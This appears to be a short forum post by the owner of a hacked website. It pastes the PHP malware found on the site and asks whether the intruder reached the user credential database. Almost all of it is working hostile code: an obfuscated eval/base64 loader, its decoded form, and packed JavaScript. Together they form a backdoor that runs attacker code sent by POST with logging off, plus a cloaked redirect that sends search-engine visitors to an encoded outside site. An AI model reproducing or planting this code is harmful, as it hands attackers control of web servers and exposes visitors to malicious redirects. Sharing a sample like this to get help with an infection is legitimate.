Lol...
<?php
eval(CHR(36).CHR(120).CHR(61).CHR(39)[email protected](39).CHR(59).@base64_decode(aWYoaXNzZXQoJF9QT1NUWyR4XSkpZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkX1BPU1RbJHhdKSkpO3Vuc2V0KCR4KTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTtpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCiRyPSFlbXB0eSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogZ2V0ZW52KCdIVFRQX1JFRkVSRVInKTsNCmlmKHN0cmxlbigkcik.chr(43).MTApDQp7DQoJJGlwPSRfU0VSVkVSWydSRU1PVEVfQUREUiddOyRobj1AZ2V0aG9zdGJ5YWRkcigkaXApOw0KCWlmKChzdHJwb3MoJGlwLCc2NS41NS4nKSE9PTApJiYoc3RycG9zKCRobiwnbXNuYm90Jyk9PT1mYWxzZSkpDQoJew0KCQkkcz1hcnJheSgnc2VhcmNoLmxpdmUuY29tJywnd3d3Lmdvb2dsZScsJ3NlYXJjaC55YWhvby5jb20nLCd3d3cuYmluZy5jb20nLCd5YW5kZXgucnUnLCdiYWlkdS5jb20nKTsNCgkJZm9yZWFjaCgkcyBhcyAkZSkNCgkJew0KCQkJaWYoKHN0cnBvcygkciwkZSkhPT1mYWxzZSkmJihlbXB0eSgkX0NPT0tJRVsnaXBicyddKSkpDQoJCQl7DQoJCQkJJGg9c3Vic3RyKEBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwwLDgpOw0KCQkJCWRpZSgiPGh0bWw.chr(43).PGhlYWQ.chr(43).PC9oZWFkPjxib2R5PjxzY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiPnZhciBpcGJzPSckaCc7Ii5zdHJfcmVwbGFjZSgnXFwnLCdcXFxcJyxnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnWFZKL2I1c3dFUDBxTE5Ka1c5QTBDUVNhTWxhMWFicDF2OWZ1UDg2YkhNZEphQkpnaERSMG1PKytjN3FnYW9iRHorK2UzeDNTcVVleHB2DQpOZEtzc2tTMm51Q0VjNkswYzVNMWFycU9VbHF3dFY3Z3BFYjhRRkllZUs1cUxZcXR1MHBQSlVNTVpzU21Va1h3djIxaDFlM0pkRmtpNjY4eQ0KTGJqSmVpR0djelJhVTlHTEZ6MlMyejV5eDFmY2FhTUpuVFY0UjBDNVd2aFZUMDlPZXA4NXhuck40dmt6VmVQRGxoOVN4R3dIaTBpaVhYMnUNCkJtRmNWdGYrclluNFZDM3ZEd1JlL0hGSUc5VFpwUVJ2MG1mT0dNRFJoVFZ1ZFIzcmFScXIxMXB4YVRLcWNFcHNRMkJXMkRITElnekRsY2FKDQpwL0pmT0drbzBsb3JnRGx6Q0RLYXhCd2grWWRad09QUHhQN09FM1VtTllJSlVpZW9DVm9hZWc0QnF1VVBrQmNZckpCQzVOSXNPRWduZElISw0KNnZqaDRMZUVUaERsWXdONVJFNGowOEdEZ3hud0l2WlFlSlJKUVlhb2VIS2NwdVlZN1A5RkRpSTl4aHNRTHU0Y2ZoL0EzRjh3NFBQMXNWenMNCklUcXpmV012cGlmYVVzWE1ZaTduTk96ZDdEbmRtZldMaXh0cEdJQjl3MnJHdllzRVRrY1I3bHRvaUgzSDZ5dHdoODNvUVZGWEhBSFJHZjhXDQpmVkNGVWl2dUgyOTVBNFE5KzhSTGZyVjYvcWo1U3ZxOERUbFQvQ0dHTGM2R3FBRWZSTTN2TkZVSm5zQkJsWFYrNjFyb2FlZmhRRm5nZkl1Ng0KMEtUNE1lTXVPV0dlcFpKbmNibFpaSW4ySDAwZUJLSi9sVXlsYUVwajZhK29HdVBOd0QxSG1JM2I3dUc3Y3JESFIyTDdFdVNvT1JQdk85bmwNCm42T0g0YVIwbGZpMUtoMURmdVc5VGhuN2pZOTJCQ3V0dDhuWlNVYUp5cW5sTTNqUDBGJykpKS4iPC9zY3JpcHQ.chr(43).PC9ib2R5PjwvaHRtbD4iKTsNCgkJCX0NCgkJfQ0KCX0gDQp9));
?><?php
$x='b7055d4eb32f722fafd0f5cd791f4cbf';
if(isset($_POST[$x]))
eval(base64_decode(str_rot13($_POST[$x])));
unset($x);
ini_set('display_errors',0);
ini_set('log_errors',0);
$r=!empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : getenv('HTTP_REFERER');
if(strlen($r)>10)
{
$ip=$_SERVER['REMOTE_ADDR'];
$hn=@gethostbyaddr($ip);
if((strpos($ip,'65.55.')!==0) && (strpos($hn,'msnbot')===false))
{
$s=array('search.live.com','www.google','search.yahoo.com','www.bing.com','yandex.ru','baidu.com');
foreach($s as $e)
{
if((strpos($r,$e)!==false)&&(empty($_COOKIE['ipbs'])))
{
$h=substr(@md5($_SERVER['HTTP_HOST']),0,8);
die("<html><head></head><body><script type=\"text/javascript\">var ipbs='$h';".str_replace('\\','\\\\',gzinflate(base64_decode('XVJ/b5swEP0qLNJkW9A0CQSaMla1abp1v9fuP86bHMdJaBJghDR0mO++c7qgaobDz++e3x3SqUexpv
NdKsskS2nuCEc6K0c5M1arqOUlqwtV7gpEb8QFIeeK5qLYqtu0pPJUMMZsSmUkXwv21h1e3JdFki668y
LbjJeiGGczRaU9GLFz2S2z5yx1fcaaMJnTV4R0C5WvhVT09Oep85xnrN4vkzVePDlh9SxGwHi0iiXX2u
BmFcVtf+rYn4VC3vDwRe/HFIG9TZpQRv0mfOGMDRhTVudR3raRqr11pxaTKqcEpsQ2BW2DHLIgzDlcaJ
p/JfOGko0lorgDlzCDKaxBwh+YdZwOPPxP7OE3UmNYIJUieoCVoaeg4BquUPkBcYrJBC5NIsOEgndIHK
6vjh4LeEThDlYwN5RE4j08GDgxnwIvZQeJRJQYaoeHKcpuYY7P9FDiI9xhsQLu4cfh/A3F8w4PP1sVzs
ITqzfWMvpifaUsXMYi7nNOzd7DndmfWLixtpGIB9w2rGvYsETkcR7ltoiH3H6ytwh83oQVFXHAHRGf8W
fVCFUivuH295A4Q9+8RLfrV6/qj5Svq8DTlT/CGGLc6GqAEfRM3vNFUJnsBBlXV+61roaefhQFngfIu6
0KT4MeMuOWGepZJncblZZIn2H00eBKJ/lUylaEpj6a+oGuPNwD1HmI3b7uG7crDHR2L7EuSoORPvO9nl
n6OH4aR0lfi1Kh1DfuW9Thn7jY92BCutt8nZSUaJyqnlM3jP0F')))."</script></body></html>");
}
}
}
}
?><html><head></head><body><script type="text/javascript">var ipbs='f12f6227';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m a=["\\A\\d\\b\\l\\c\\z\\d","\\j\\d\\b\\l\\c\\z\\d","\\w\\q\\d\\C\\g\\c\\n\\d\\j\\k","\\b\\e\\D\\B\\l\\J\\b\\n\\c\\i\\A","\\o\\e\\e\\G\\c\\d","\\k","\\w\\q\\g\\v\\b\\u\\k\\f","\\c\\g\\H\\j","\\E","\\r\\e\\o\\v\\b\\c\\e\\i","\\u\\b\\b\\g\\I\\f\\f\\b\\c\\i\\K\\R\\n\\r\\S\\T\\c\\i\\P\\e\\f"];M x(p,y){m h=N O();h[a[1]](h[a[0]]()+L);m s=a[2]+h[a[3]]();t[a[4]]=p+a[5]+y+s+a[6]};x(a[7],a[8]);t[a[9]]=a[F]+Q;',56,56,'||||||||||_0x19e6|x74|x69|x65|x6F|x2F|x70|_0x46a7x4|x6E|x73|x3D|x54|var|x72|x63|_0x46a7x2|x20|x6C|_0x46a7x5|document|x68|x61|x3B|ipbcc|_0x46a7x3|x6D|x67|x4D|x78|x47|x31|10|x6B|x62|x3A|x53|x79|86400000|function|new|Date|x66|ipbs|x75|x34|x2E'.split('|'),0,{}))</script></body></html>
Did you notice if the hacker tried to access the database containing our usernames and passwords?
